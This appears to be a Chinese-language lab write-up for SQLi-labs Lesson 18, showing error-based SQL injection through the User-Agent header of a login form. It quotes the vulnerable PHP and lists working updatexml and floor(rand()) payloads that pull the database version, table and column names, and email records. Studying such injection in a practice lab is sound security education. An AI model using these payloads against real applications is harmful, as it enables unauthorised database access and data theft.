Lesson - 18
POST - Header Injection - Uagent field - Error based
首先进入欢迎界面:
本节对username,password都进行了过滤。
后台过滤的php源代码:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
所以不能利用Username或者Password进行注入。
假设我们知道账户,密码登陆。(以admin为例)
发现网页显示了User Agent,查看php源代码,发现其中有如下语句:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
所以可以利用构造User Agent进行注入。
有很多工具可以利用,如:burp suite,firefox的插件等。
我用的是firefox插件TamperData。
在User-Agent 后 加上 ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
点击确定后,结果如图:
进一步更改User-Agent,在原本的User-Agent后加上:
' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #
点击确定,结果如图:
得到MySQL的版本。
同理,可以得到表名:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) , 1, 1) #
得到emails表的字段名:
第一字段:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) ,1,1)#
第二字段:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1),0x7e),1) ,1,1)#
第三字段:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 2,1),0x7e),1) ,1,1)#
猜测emails表中应该没有第三个字段,只有id,email_id两个字段。
同理,可以得到表中内容:
' or updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1) , 1, 1) #
用(select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1),替代updatexml也可以实现。